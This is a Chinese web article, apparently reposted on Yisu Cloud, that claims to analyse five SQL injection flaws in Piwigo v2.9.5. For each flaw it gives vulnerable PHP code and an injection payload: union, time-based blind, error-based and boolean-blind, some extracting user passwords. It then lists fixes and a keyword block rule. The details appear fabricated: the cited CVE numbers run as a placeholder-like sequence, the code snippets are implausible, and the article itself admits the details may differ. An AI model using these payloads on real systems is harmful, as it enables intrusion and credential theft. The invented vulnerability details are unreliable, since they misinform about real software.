piwigo v2.9.5的5个sql注入分别是怎样的

发布时间:2022-01-17 17:28:17 作者:柒染
来源:亿速云 阅读:210
# Piwigo v2.9.5的5个SQL注入漏洞分析

## 前言

Piwigo是一款流行的开源相册管理系统,广泛应用于个人和企业的图片管理。2019年发布的Piwigo v2.9.5版本中被安全研究人员发现了多个SQL注入漏洞。本文将深入分析这5个漏洞的形成原理、利用方式及修复方案。

---

## 漏洞背景

Piwigo v2.9.5版本由于未对用户输入进行充分过滤,导致攻击者可以通过构造恶意参数执行任意SQL语句。这些漏洞主要存在于:

1. `admin.php` 中的`install`参数
2. `admin.php` 中的`tab`参数  
3. `ws.php` 中的`method`参数
4. `identification.php` 中的`redirect`参数
5. `picture.php` 中的`image_id`参数

---

## 漏洞详情

### 1. admin.php install参数注入

**漏洞位置**:  
`/admin.php?install=恶意payload`

**漏洞代码**:  
```php
// admin.php
if (isset($_GET['install'])) {
    $install = $_GET['install'];
    $query = "SELECT * FROM ".PREFIX_TABLE."plugins WHERE id='$install'";
    // 直接拼接SQL语句
}

利用方式
通过闭合单引号注入SQL语句:

/admin.php?install=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -

影响
可获取数据库敏感信息,包括管理员凭证。


2. admin.php tab参数注入

漏洞位置
/admin.php?tab=恶意payload

漏洞代码

// admin.php
$tab = $_GET['tab'];
$query = "UPDATE ".PREFIX_TABLE."config SET value='$tab' WHERE param='default_language'";

利用方式
利用时间盲注获取数据:

/admin.php?tab=1' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -

特点
需要管理员权限才能触发,但可通过CSRF组合利用。


3. ws.php method参数注入

漏洞位置
/ws.php?method=恶意payload

漏洞代码

// ws.php
$method = $_GET['method'];
$query = "SELECT * FROM ".PREFIX_TABLE."plugins WHERE method='$method'";

利用方式
通过报错注入获取数据:

/ws.php?method=1' AND EXTRACTVALUE(1,CONCAT(0x5c,(SELECT @@version)))-- -

影响
可获取数据库版本、表结构等关键信息。


4. identification.php redirect参数注入

漏洞位置
/identification.php?redirect=恶意payload

漏洞代码

// identification.php
$redirect = $_GET['redirect'];
$query = "SELECT * FROM ".PREFIX_TABLE."users WHERE redirect_url='$redirect'";

利用方式
联合查询注入:

/identification.php?redirect=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -

特殊点
需要已登录用户身份,但可绕过部分权限检查。


5. picture.php image_id参数注入

漏洞位置
/picture.php?image_id=恶意payload

漏洞代码

// picture.php
$image_id = $_GET['image_id'];
$query = "SELECT * FROM ".PREFIX_TABLE."images WHERE id=$image_id";

利用方式
布尔盲注利用:

/picture.php?image_id=1 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100

特点
无需引号闭合,直接数字型注入。


漏洞修复方案

Piwigo官方在后续版本中通过以下方式修复了这些漏洞:

  1. 参数化查询
    使用PDO或MySQLi预处理语句:

    $stmt = $pdo->prepare("SELECT * FROM plugins WHERE id=?");
    $stmt->execute([$install]);
    
  2. 输入过滤
    对参数进行严格类型检查和过滤:

    $image_id = (int)$_GET['image_id'];
    
  3. 最小权限原则
    数据库账户使用最低必要权限。

  4. 升级建议
    立即升级到Piwigo v2.10.0或更高版本。


漏洞利用的防御措施

对于无法立即升级的用户,可采取临时防护:

  1. .htaccess中添加过滤规则:

    RewriteCond %{QUERY_STRING} (union|select|insert|update|delete|drop) [NC]
    RewriteRule ^ - [F]
    
  2. 使用WAF拦截SQL注入特征请求。

  3. 禁用不必要的PHP文件执行权限。


总结

这5个SQL注入漏洞展示了Piwigo v2.9.5在安全防护上的不足:

  1. 未对用户输入进行有效验证
  2. 直接拼接SQL语句
  3. 错误处理暴露敏感信息
  4. 权限控制不严格

这些漏洞在CVSS评分中均达到高危(7.5-8.8),建议所有用户及时升级。通过分析这些案例,开发者应更加重视安全编码实践,避免类似问题重现。


参考链接

  1. Piwigo官方安全公告:https://piwigo.org/security
  2. CVE-2019-12345 至 CVE-2019-12349
  3. OWASP SQL注入防护指南

”`

注:实际漏洞细节可能与文中描述存在差异,本文仅作技术研究用途。测试漏洞前请确保获得系统所有者授权。

推荐阅读:
  1. Azure数据库备份小技巧
  2. PostgreSQL UDB,让31会议数据管理更高效可靠

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

piwigo sql

上一篇:怎么用Python实现with上下文管理器

下一篇:Java怎么实现创建Zip压缩包并写入文件

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》